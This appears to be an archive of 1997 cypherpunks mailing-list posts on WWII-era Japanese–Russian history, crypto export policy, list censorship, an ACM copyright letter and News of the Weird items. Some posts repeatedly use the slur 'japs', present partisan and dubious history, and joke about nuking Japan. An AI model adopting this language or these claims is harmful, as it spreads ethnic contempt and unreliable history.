Content-Type: text/plain



This has little crypto relevance (unless someone drags in the fact that
some of the important ww2 naval battles were won by the us because they
broke jap codes).

Jim Choate <ravage@ssz.com> writes:
> Japan beat the shit out of Russia in 1903. Had it not been for Richard
> Sorge's intelligence of the situation in 1938 around Chankufeng Hill at
> Vladivostok indicating the Japanese governments committment to keep the
> situation from becoming a declared war and Georgi Zukhov at Khalkin Gol in
> 1939 the Japs would have beaten them then as well. In both situations Stalin
> was up against the wall.

In 1904/5 (what's a couple of years between punks) the japs beat the shit out
of the tzar, not Stalin, because of the tzarist army's supreme incompetence,
and also because of severe internal unrest in Russia (general strikes and
uprisings everywhere).

Prior to that, the japs effectively beat Russia in 1875(?). You may recall
that prior to the meiji revolution, the japs considered hokkaido a foreign
territory; there were no japs living there, and any jap who ventured there
was supposed to be put to death. Hokkaido, Sakhalin, and the Kuril islands
were inhabited by the Ainus (most of whom were baptized by Russian Orthodox
missionaries in 18th century), and a few cossack settlers and missionaries
from alaska. After the meiji revolution, the japs invaded Hokkaido and
massacred the ainus and the cossacks. In 1875 they told the Russians that
they consider all of {Hokkaido, Kurils, Sakhalin} to be a part of Japan and
not a "foreign land forbidden to japs". In order to avoid a war, the Russians
bent over and let the japs have Hokkaido and some of the Kurils, but held on
to Sakhalin and the northern Kurils.

By the treaty of Portsmouth in 1905, Russia further ceded to Japan the rest
of the Kurils, half of Sakhalin (south of the 50th parallel), and most of
Russian extensive interests in China and Korea. (Russia had serious influence
in Korea prior to the war; the Japs outright annexed in in 1910). Although
Russia was pretty much beaten militarily, it probably could have negotiated
better peace terms if it didn't have to deal with the severe unrest, forcing
it to stop the hostilities ASAP.

In general, Russia's attempts at Pacific expansionism in 19th century
were all failures. They got kicked out of northern california (fort ross);
sold (leased?) Alaska (seward's folly) to the US for almost nothing; tried
and failed to grab Hawaii and a chunk of New Guinea; and ended up with
no territories there, when every European country grabbed some.

The japs occupied big chunks of Russian Far East during the revolution and
civil war (1918-24). My recollection is that they went as far West as Chita
and Lake Baikal; and it took the Soviets until 1924 to convince them to leave
Vladivostok.

As for 1938, I tend to believe that there was some truth to Stalin's
assertion that Marshal Blyukher &co were plotting to sedede from the USSR and
to form an independent "Far Eastern Republic" (like the political entity
that got merged into the RSFSR in 1924 after the Japs left) and to invite
the japs to protect their sovereignty. Stalin sent Mekhlis to the Far
East, who executed Blyukher and _most of the Red Army commanders (officers)
in the region.

At lake Khasan (near the short Soviet-Korean border) the Japs demanded
(July/August, 1938) that the Soviets turn over some strategic hills, which
would have made a future attack on Vladivostok easier.  Then the japs
just sent some troops to occupy the hills; it took the Soviets almost 2
weeks to re-take them, which can be explained both by their incompetence
and by Blyukher working for the japs. Jap casualties were 650 dead and
2500 woulnded.

Jap casualties were much higher at Khalkhin Gol. Strategically, the Japs were
trying to occupy a chunk of Mongolia that would allow them to cut off the
only railroad linking the Soviet far east with the rest of Siberia (which
passes right next to the Chinese border). The japs were bombarding the
disputed area of Mongolia in January-April 1939; invaded in May, and were
kicked out by the Soviet troops, led by Zhukov (note the correct spelling)
in late August. Their casualties were 55K, 25K of which were killed.

Another little-known fact: during this timeframe, Stalin rounded up all
the ethnic chinese and koreans from the Soviet far east and resettled
them in Kazakhstan (as he did to many other etyhnic groups a few years
later).

> In 1938 there are clear indications that instead of
> counter-attacking he might very well have sued for peace and in the process
> lost the port at Vladivostok. Had the Japanese re-inforced their army they
> could have beaten the Russian troops available. Considering the lack of
> roads and rail in that part of Russia it is unrealistic to expect
> reinforcements to have arrived from Russia in a meaningful time frame
> without recognizing the contribution Japans hesitancy in getting into a
> conflict with Russia and Richard Sorge's clandestine intelligence
> contributed. Had either one of those not been present then Russia would have
> been eaten in little gobbles from the east and west.

That's why the japs tried so hard to cut off the railroad link in 1939...
They recognized that they could have occupied Vladivostok in 1938 if
they had really tried; but eventually Russian reinforcements would
come and there would be hell to pay. Stalin demonstrated that unlike the
tzars he was willing to put up a fight over this relatively worthless
real estate.

> Had it not been for the oil, food, and weapons we shipped Britian he would
> have owned Europe in toto. It is clear from Hitlers earliest writings that
> he had full intention of taking Russia. Had Stalin not had Sorge's
> intelligence regarding the Japanese's intent not to attack Russia at that
> time he would not have been able to pull troops from that front. Had those
> troops not been pulled then both Moscow and Stalingrad *would* have fallen.
> If Moscow fell Stalin fell.

Technically speaking, Moscow did fall. :-) By Oct 16, 1941, everyone and
everything were evacuated from Moscow, down to Lenin's mummy, and the Germans
could have walked in if they wanted to. The Germans chose not to march in
because they feared mines and booby traps they encountered earlier in Kiev
(probably correct, too). While they waffled, Russian reinforcements arrived
from Siberia and drove them off.

> Mussolini may not have been fond of Hitler but he certainly admired and
> respected the man, or at least that is what Ciano's diaries indicate.
> Mussolini's explorations in Africa were a result of an attempt on his part
> to gain respect in Hitlers eyes.

Mussolini's bloody invasion of Ethiopia was mostly a revenge for the
previous invasion by Italy which ended in a humiliating defeat.

I'd venture to say that other Hitler allies (Hungary, Romania, Bulgaria)
viewed him as a lesser eveil and didn't like him at all.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 27 Nov 1997 13:00:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Let's pay for online policing [CNN]
Message-ID: <199711270504.XAA25039@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>    November 26, 1997: 2:33 p.m. ET

>    European Commission
>    
>    European Union
>    More related sites... BRUSSELS, Belgium (Reuters) - The European
>    Commission proposed Wednesday setting aside money for measures to help
>    keep illegal and harmful material off the Internet.
>    [INLINE] Continuing its push for industry self-regulation of the
>    global computer network, the commission said the European Union should
>    help set up a pan-European network of telephone hot lines to take
>    complaints about illegal items.

[material deleted]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 27 Nov 1997 19:20:37 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: NEW TRAVEL INFO -- Togo (fwd)
In-Reply-To: <Pine.BSF.3.96.971126215102.25919A-100000@pakastelohi.cypherpunks.to>
Message-ID: <347D049E.31F0@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> Who the hell cares about a Togo travel advisory? What's next? The Miami
> weather forecast?

  Lucky is just jealous because Togo named their country with more
concise alphabetic code than Tonga.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 27 Nov 1997 19:38:05 +0800
To: cypherpunks@toad.com
Subject: Chicken!
Message-ID: <347D07D2.4C40@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



>>>WHY DID THE CHICKEN CROSS THE ROAD?
>>>
>>>
>>>     From the Human Resources/Training Perspective:
>>>     The chicken had a vision. The chicken was proficient in the core
>>>     competencies necessary to implement the plan and make the vision
>>>     reality.
>>>
>>>     Pat Buchanan:
>>>     To steal a job from a decent, hard-working American.
>>>
>>>     Machiavelli:
>>>     The point is that the chicken crossed the road. Who cares why? The
>>>     ends of crossing the road justify whatever motive there was.
>>>
>>>     Thomas de Torquemada:
>>>     Give me ten minutes with the chicken and I'll find out.
>>>
>>>     Timothy Leary:
>>>     Because that's the only kind of trip the Establishment would let
>>>     it take.
>>>
>>>     Carl Jung:
>>>     The confluence of events in the cultural gestalt necessitated that
>>>     individual chickens cross roads at this historical juncture, and,
>>>     therefore, synchronicitously brought such occurrences into being.
>>>
>>>     John Locke:
>>>     Because he was exercising his natural right to liberty.
>>>
>>>     Albert Camus:
>>>     It doesn't matter; the chicken's actions have no meaning except to
>>>     him.
>>>
>>>     Fox Mulder:
>>>     It was a government conspiracy.
>>>
>>>     Darwin:
>>>     Chickens, over great periods of time, have been naturally selected
>>>     in such a way that they are now genetically dispositioned to cross
>>>     roads.
>>>
>>>     Darwin #2:
>>>     It was the logical next step after coming down from the trees.
>>>
>>>     Richard M. Nixon:
>>>     The chicken did not cross the road. I repeat, the chicken did not
>>>     cross the road.
>>>
>>>     Oliver Stone:
>>>     The question is not "Why did the chicken cross the road?" but is
>>>     rather "Who was crossing the road at the same time whom we
>>>     overlooked in our haste to observe the chicken crossing?"
>>>
>>>     Jerry Seinfeld:
>>>     Why does anyone cross a road? I mean, why doesn't anyone ever
>>>     think to ask, "What the heck was this chicken doing walking around
>>>     all over the place anyway?"
>>>
>>>     The Pope:
>>>     That is only for God to know.
>>>
>>>     Louis Farrakhan:
>>>     The road, you will see, represents the black man. The chicken
>>>     crossed the "black man" in order to trample him and keep him down.
>>>
>>>     Martin Luther King, Jr.:
>>>     I envision a world where all chickens will be free to cross roads
>>>     without having their motives called into question.
>>>
>>>     Immanuel Kant:
>>>     The chicken, being an autonomous being, chose to cross the road of
>>>     his own free will.
>>>
>>>     Grandpa:
>>>     In my day, we didn't ask why the chicken crossed the road. Someone
>>>     told us that the chicken had crossed the road, and that was good
>>>     enough for us.
>>>
>>>     Dirk Gently (Holistic Detective):
>>>     I'm not exactly sure why, but right now I've got a horse in my
>>>     bathroom.
>>>
>>>     Bill Gates:
>>>     I have just released the new Chicken 2000, which will both cross
>>>     roads AND balance your checkbook, though when it divides 3 by 2 it
>>>     gets 1.4999999999.
>>>
>>>     M.C.Escher:
>>>     That depends on which plane of reality the chicken was on at the
>>>time.
>>>
>>>     George Orwell:
>>>     Because the government had fooled him into thinking that he was
>>>     crossing the road of his own free will, when he was really only
>>>     serving their interests.
>>>
>>>     Plato:
>>>     For the greater good.
>>>
>>>     Aristotle:
>>>     To actualize its potential.
>>>
>>>     Karl Marx:
>>>     It was a historical inevitability.
>>>
>>>     Nietzsche:
>>>     Because if you gaze too long across the Road, the Road gazes also
>>>     across you.
>>>
>>>     B.F. Skinner:
>>>     Because the external influences, which had pervaded its sensorium
>>>     from birth, had caused it to develop in such a fashion that it
>>>     would tend to cross roads, even while believing these actions to
>>>     be of its own freewill.
>>>
>>>     Jean-Paul Sartre:
>>>     In order to act in good faith and be true to itself, the chicken
>>>     found it necessary to cross the road.
>>>
>>>     Albert Einstein:
>>>     Whether the chicken crossed the road or the road crossed the
>>>     chicken depends upon your frame of reference.
>>>
>>>     Pyrrho the Skeptic:
>>>     What road?
>>>
>>>     The Sphinx:
>>>     You tell me.
>>>
>>>     Buddha:
>>>     If you ask this question, you deny your own chicken nature.
>>>
>>>     Emily Dickenson:
>>>     Because it could not stop for death.
>>>
>>>     Ralph Waldo Emerson:
>>>     It didn't cross the road; it transcended it.
>>>
>>>     Ernest Hemingway:
>>>     To die. In the rain.
>>>
>>>     Saddam Hussein:
>>>     This was an unprovoked act of rebellion and we were quite
>>>      justified in dropping 50 tons of nerve gas on it.
>>>
>>>     Saddam Hussein #2:
>>>     It is the Mother of all Chickens.
>>>
>>>     Joseph Stalin:
>>>     I don't care. Catch it. I need its eggs to make my omelette.
>>>
>>>     Dr. Seuss:
>>>     Did the chicken cross the road?
>>>     Did he cross it with a toad?
>>>     Yes the chicken crossed the road,
>>>     but why it crossed it, I've not been told!
>>>
>>>     Colonel Sanders:
>>>     I missed one?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 27 Nov 1997 19:24:46 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: BXA denies my administrative appeal
In-Reply-To: <v0400277eb0a2703ed672@[139.167.130.248]>
Message-ID: <347D0A2C.1F69@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



From: Miles Vorkosigan <miles_w@anon.efga.org>

> I recently spoke informally with a couple of sub-Cabinet level officials on
> crypto policy. Their comments indicated that the FBI et al are dominating
> internal meetings on the subject with the same polarizing rhetoric they're
> using in Congress. One official said that he was accused of intentionally
> aiding terrorists at one of these meetings.

Good to see that Freedom of Speech is being suppressed by threats of
harassment and imprisonment at the highest levels, not just among the
peons. Perhaps this could be legislated in an 'Equal Loss of Rights'
amendment.

> I couldn't even get an answer as to why the FBI had jurisdiction over our
> export approval.

Uuhhh...because LEA Fascists are now running our 'Democracy'?

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 27 Nov 1997 14:07:29 +0800
To: cypherpunks@toad.com
Subject: Re: Further costs of war (fwd)
In-Reply-To: <199711241431.IAA12181@einstein.ssz.com>
Message-ID: <a80sge15w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



This has no crypto relevance.

Jim Choate <ravage@ssz.com> further writes:
<a bunch of historical facts>
> So the time line is something like this:
>
> 15 months prior to Pearl Harbor the US places an embargo on Japan presumably
> because of their aggressive policies.
>
> 13 months prior to the attack on Pearl Harbor the Japanese sign the
> Tri-partite Act.
>
> 12 months prior to the attack on Pearl Harbor the Emporer gets cold feet
> and orders a review of the plan.

The japs didn't join the axis out fo the blue. The US was picking on the Japs
back at the Washington conference in 1921/2, and succeffully turned the
British against the japs (they used to be allies). Ever since FDR got elected,
he bulding up the navy, building new bases on Hawaii, Guam, Midway, Samoa,
etc, (in violation of the Washington conference), grabbing small pacific
islands that no one claimed before (jervis, Howland, Phoebe, Palmira). On June
26, 1939 the US denounced the US-jap trade treaty (in response to the
Chamberlain-Arita agreement of June 24 to curtail british aid to Chiang). In
September 1940 FDR introduced the draft (that was priot to the Japs signing
the axis treaty on Sept 27). After 9/29, the US cut off iron shipments to
japan, oredered US citizens to leave Japan and its possessions, drafted 27K
reservists into the navy, and gave chiang a 25MM loan. On Nov 30 the US again
said that Chiang is the only lawful government of China and gave him another
100MM. The japs heavily negotiated for 7 months; then on July 25, 1941, FDR
froze jap assets in the US. Nevertheless in November the japs asked to resume
negotiations, and asked primarily to lift the oil embargo. On 11/26 the US
rejected this request, and called on japan to recognize chiang as the ruler of
china. On 12/6 FDR sent an threatning personal message to Hirohito telling him
to back down. On 12/7 the japs attacked Pearl Harbor and simulteneously
rejected the 11/26 demands (viewing them as an effective declaration of war by
the US). My intrepretation is that the japs certainly tried to bend over
backwards to delay a war with the US until they were in a better position, and
FDR certainly did all hsi could to hasten the war.

> Note, I would appreciate any references to the regulation of Japanese
> nationals transiting through or applying for residence in the US during this
> period. Can't say that I've ever seen this issue in anything I've read.

According to my books, the US stopped all Jap immigration into US and its
possession (i.e. Hawaii, Philippines, ec) as of May 1, 1925.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 27 Nov 1997 14:30:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Moderated vs. Unmoderated Lists
In-Reply-To: <199711270525.GAA01200@basement.replay.com>
Message-ID: <199711270625.BAA08154@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711270525.GAA01200@basement.replay.com>, on 11/27/97 
   at 12:25 AM, Anonymous <nobody@REPLAY.COM> said:

>The issue is not moderation.  It is whether this list has a focus, a
>central set of ideas, a reason for existence.  If we're just going to
>talk about whatever anyone finds interesting, there is nothing to stop
>the list from drifting away from its goals.

>In fact, that is exactly what has happened.  Tim May's violent rhetoric
>has attracted others who believe in violence.  Vulis's racist and sexist
>comments have brought other members who are comfortable expressing
>negative comments about other races and nationalities.  There is little
>discussion about cryptography any more.

Well you are always free to take your CENSOROUS ASS and create your own
list. Then you and your friends can hold hands and only think Pure
Thoughts(TM).

Make no mistake here Mr Anonymous is a CENSOR!! He wishes to be able to
SILENCE anyone who says anything that does not fit his obPoliticalyCorret
views of the world.

Dec 7th is comming up, Lets Nuke Japan Again just for the hell of it!!!

Lets see how many more of these wantabe nazi I can flush out with that one
:)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 27 Nov 1997 14:45:07 +0800
To: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Subject: Re: (No Subject)
In-Reply-To: <DFIBLIDNKAFKDAAA@mailexcite.com>
Message-ID: <199711270635.BAA08266@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <DFIBLIDNKAFKDAAA@mailexcite.com>, on 11/26/97 
   at 09:34 PM, "Benjamin Chad Wienke" <woodwose@mailexcite.com> said:

>I guess the FBI has decided that it is going to be the secret police when
>the time comes. (And I had been thinking it was going to be the ATF!) I
>wonder if they could be egged into a turf war amongst themselves--if they
>are fighting each other, they have less time and energy to fuck with
>us...

No the turf war woun't start until they have eliminated all external
opponents. Once that is done then things will start to really heat up
between BATF, FBI, CIA, Pentagon, et al.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 27 Nov 1997 15:04:19 +0800
To: David Honig <honig@otc.net>
Subject: Re: Microsoft's compelled speech, compelled marketing
In-Reply-To: <3.0.5.32.19971126091941.007d5df0@206.40.207.40>
Message-ID: <199711270645.BAA08346@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.5.32.19971126091941.007d5df0@206.40.207.40>, on 11/26/97 
   at 12:19 PM, David Honig <honig@otc.net> said:

>At 09:04 PM 11/25/97 -0500, Glenn Hauman wrote:
>>At 12:40 PM -0500 11/25/97, Declan McCullagh wrote:
>>
>>Hold it-- are you suggesting that the DOJ is being restrained in going
>>after Microsoft? By who?
>>

>The secret MS hack which disables OS's running under .gov domains when
>the  right signal is given :-) :-)

Well that now explains why systems running M$ OS's have to be rebooted
several times a day. And I thought it was because they wouldn't know QA if
it bit them in the ass.

Tha dam hackers have the code and are fucking with everyones system!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 27 Nov 1997 19:23:28 +0800
To: Martin Minow <minow@apple.com>
Subject: Government crypto views prove justified... / Re: Swedish policy paper on key/message escrow
In-Reply-To: <v03010d04b0a0c586c472@[17.202.40.158]>
Message-ID: <347D3BCE.3554@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Martin Minow wrote:
> 
> Today's "Svenska Dagbladet" has an article on a policy paper released
> by the Swedish Foreign Office that follows the American agenda. "Only
> simple encryption that is easy to decypher should be sold outside the
> country without restriction." 

See? Even other countries are agreeing that crypto is munitions.
  i.e. - They all want to sell versions of their 'old stuff' to people
in other countries, so that Big Violent People can continue to profit
off of, support and encourage Little Violent People.

Anybody know any Drug Barons or International Terrorists (TM) who 
can't get themselves and their lackeys all of the firepower they 
require to 'take care of business'?
Anyone think crypto-munitions will not follow the same pattern of
being taken out of the hands of hands of the 'potential drug baron
and international terroist' average citizens, and reserved for
those who have self-actualized their dreams and actually _become_
drug barons and international terrorists?

Government oppressed free-enterprise at it's finest...

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Press <cp@dev.null>
Date: Thu, 27 Nov 1997 19:35:29 +0800
To: USACM Washington Office <usacm_dc@acm.org>
Subject: Re: USACM Crawls Off the Ivory Tower
In-Reply-To: <v03110700b0a0dc7f4ab8@[204.91.138.218]>
Message-ID: <347D4940.69C3@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



USACM Washington Office wrote:
> Computer scientists fear that legislation rushed through in the closing
> days of Congress may inadvertently criminalize many scientific publications
> that are freely available on the Internet today. They are calling on the
> President to veto the measure.
...
> The "No Electronic Theft Act" would criminalize the copying of materials
> which are currently protected under the well established U.S. doctrine of
> Fair-Use.

No problem. The government can begin legislating exceptions for 
people with money or influence, and create another government 
spawned cottage industry.

> USACM argues that the No Electronic Theft Act will have a chilling effect
> upon the free speech of scientists and professionals in universities and
> research labs. 

No shit, Sherlock! 
Were those living in the Ivory Towers of higher (priced) education
under the impression that Clinton only wanted middle and lower-class
Austria, that Reno only wanted Waco and Microsoft, that Freeh wants
us all, but that his Puppet Masters are reigning him in out of their
sense of decency and integrity, rather than because he's exposing too
much of the goobermint's End Game, and making the sheeple nervous?

"They came for the Jews, and I wasn't a Jew..."

Maybe computer cientists should be required to take a couple 
of history  classes on their way to our better and brighter 
technological future.
The alternative, if they are not afraid to step off of the well-lit
mainstream media streets of the Information Highway, is to take a
few detours to the increasingly out-of-the way InterNet roadside 
stands of 'we the people', who are always the first to hear the
loud sounds of the Jackboots from their ground-level, computerized
cardboard shacks. 

> According to Dr. Simons "This legislation is clearly contrary
> to the White House's stated goal of avoiding Internet regulation. We
> believe it is inconsistent with the Administration's policy to promote
> dramatically expansive laws for the Internet where other less burdensome
> means may be available to address copyright concerns."

Golly, now we have Dr.'s named something other than Vulis figuring
out that WYSIWYG is not in the government specifications.
Could it be that the echoes of the Jackboots in the stairwells of
the Ivory Towers are causing the high and mighty minds of America
to feel The Fear (TM) of the average citizen who is waiting for
the sounds of the boots being laid to his or her own door?

> The Association for Computing (ACM) is the largest and oldest professional
> association of computer scientists in the United States.  ACM's U.S. Public
> Policy Committee (USACM) facilitates communications between computer
> scientists and policy makers on issues of concern to the computing community.

They are picking us off one at a time, Barbie Doll. Unless the ACM
is ready and willing to defend freedom of speech for Sally Slut, 
who wants to put 'swingers' pictures of her and her spouse on the
InterNet, then Sally is not very likely to help you tug your skirt
back down while Bad BillyC and his pals are trying to pull it up
as their little government peckers sing a rousing chorus of, "We're
from the government, and we're here to help you."

Welcome to the real world...

TruthMonger
~~~~~~~~~~~
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"

> For more information, Please contact:
> 
> Barbara Simons, Chair, USACM: 408/256-3661, simons@VNET.IBM.COM
> David Farber, USACM:  215/898-9508, farber@cis.upenn.edu
> Lauren Gelman, Associate Director, USACM, 202/544-4859, gelman@acm.org
> 
> http://www.acm.org/usacm/copyright/
> 
> _____________________
> November 25, 1997
> 
> President William J. Clinton
> 1600 Pennsylvania Ave., NW
> Washington, DC 20500
> 
> Dear President Clinton:
> 
>         The Association for Computing's U.S. Public Policy Committee
> believes that the  "No Electronic Theft Act" (H.R. 2265), which is now
> before you, does not adequately reflect the nature of the new digital
> environment and will have a  negative impact on the rich scientific
> communications that have developed on the Internet in many fields,
> including computer science.  For this reason, we are asking you to veto the
> legislation. We agree that copyright holders have a legitimate need to
> protect their intellectual property.  However,  we are concerned that the
> bill was rushed through both Houses of Congress without careful
> consideration of its unintended consequences.
> 
>         We are concerned the Bill may:
> 
> *       Restrict scientists and other professionals from making their
> research available on the Internet for use by colleagues and students.
> Most scientists do not own the copyright on their own materials.  Instead,
> that copyright ownership is retained by the scientific journal which
> peer-reviews and publishes the research.  Under the No Electronic Theft
> Act, an author who posts their research on the Internet, and whose
> documents are frequently read on-line, could be subject to criminal
> prosecution.  If the bill becomes law, scientists may have to choose
> between having their work peer-reviewed or making it widely available.
> 
> *       Criminalize the transfer of information that is currently protected
> under the U.S. 'fair use' doctrine.  Copyright law is derived from the U.S.
> Constitution and is intended to advance "science and the useful arts."  The
> fair-use doctrine protects reading and nonprofit copying and thus allows
> scientists and educators to openly exchange information.  H.R. 2265 does
> not explicitly protect the "fair use" privilege which makes this open
> exchange of scientific information possible.
> 
> *       Chill free speech in universities and research labs. The
> terminology used in the Bill, including "willfully" and "for profit," are
> not defined; it is unclear what the parameters of a criminally prosecutable
> copyright infringement are.  As a result, it is likely that many
> institutions will mandate that all copyrighted documents be removed from
> the net to avoid having to defend copyright infringement prosecutions.
> 
>         We hope that you will veto this measure and ask your staff to work
> with Congress during the next session to develop more sensible legislation.
> 
> Sincerely,
> 
> Dr. Barbara Simons Chair,
> U.S. Public Policy Committee
> Association For Computing
> 
> The Association for Computing (ACM) is the largest and oldest professional
> association of computer scientists in the United States.  ACM's U.S. Public
> Policy Committee (USACM) facilitates communication between computer
> scientists and policy makers on issues of concern to the computing
> community.
> 
> cc:     Vice President Albert Gore, Jr.
>         Ira Magaziner, Senior Adviser to President
>         Brian Kahin, Office of Science Technology and Public Policy.
>         Henry J. Hyde, Chair, House Judiciary Committee
>         John Conyers, Jr., Ranking Member, House Judiciary Committee
>         Howard Coble, Chair, Courts and Intellectual Property Subcommittee,
> House Judiciary         Committee
>         Orrin G. Hatch, Chair, Senate Judiciary Committee
>         Patrick J. Leahy, Ranking Member, Senate Judiciary Committee
>         John Ashcroft, Chair, Constitution, Federalism and Property Rights
> Subcommittee, Senate    Judiciary Committee
>         Mike DeWine, Chair, Antitrust, Business Rights and Competition
> Subcommittee, Senate    Judiciary Comittee
>         Representative Virgil H. Goode
>         Representative Barney Frank, House Judiciary Committee
>         Representative Christopher Cannon, House Judiciary Committee
>         Representative William Delahunt, House Judiciary Committee
>         Representative Elton Gallegly, House Judiciary Committee
>         Representative Bob Clement






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Press <cp@dev.null>
Date: Thu, 27 Nov 1997 19:29:57 +0800
To: cypherpunks@toad.com
Subject: Reason behind ASCII art drought...
Message-ID: <347D4DCD.1502@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* New York City special-effects artist Matt McMullen, 28, has
been offering his lifesize, authentically detailed, steel-skeletoned,
silicone dolls, under the name "Real Dolls," for several months on
the Internet, for around $4,000 each plus options.  So far, Stacy,
Natasha, Nina, and Leah are available, with choice of hair color,
skin color, and height (either "supermodel" or short and
voluptuous).  His original doll was intended as sculpture until lonely
men bombarded him with price inquiries.  Said McMullen, "There is
no way this can compete with the real thing, but it can fill a deep
void in someone's life." 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Send a message to notw-request@nine.org with the
Subject line of Subscribe.  
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Press <cp@dev.null>
Date: Thu, 27 Nov 1997 19:28:57 +0800
To: cypherpunks@toad.com
Subject: I'm from the government, and I'm here to give your children food poisoning...
Message-ID: <347D4F36.61D1@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* Reports surfaced in July from San Francisco social-service
organizations that poor kids who participated in a summer lunch
program were being served moldy green bologna in sandwiches (for
many of the kids, their main meal of the day).  According to Dr.
Johnson Ojo, the Health Department's principal inspector, what he
saw while investigating the complaints was "not that bad," and
anyway, moldy bologna will not cause food poisoning. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Send a message to notw-request@nine.org with the
Subject line of Subscribe.  
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Press <cp@dev.null>
Date: Thu, 27 Nov 1997 19:29:41 +0800
To: cypherpunks@toad.com
Subject: If it protects just a single child...
Message-ID: <347D4FDA.5732@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* John E. Herndon, at his May sentencing (he got 20 years) in Little
Rock, Ark., for using two teenage girls in pornographic photos
after giving them alcoholic beverages:  "They were my muffins and
my flowers," he told the judge.  "They were earth angels.  I renew
my promises to the girls as a born-again Christian that I will always
love them and protect them." 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Send a message to notw-request@nine.org with the
Subject line of Subscribe.  
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Press <cp@dev.null>
Date: Thu, 27 Nov 1997 19:33:27 +0800
To: cypherpunks@toad.com
Subject: But you can get them free, from the government...
Message-ID: <347D512B.4D54@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* The Times of London reported in August that the California firm
Interval Research has developed a prototype for a new wristwatch
that would be worn not on the wrist but in the wrist.  A liquid
crystal display, microchip, and battery would be implanted under
the skin, close enough to the surface so that the time would be
readable.  Battery-recharging and time-zone changes would be done
by remote control. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
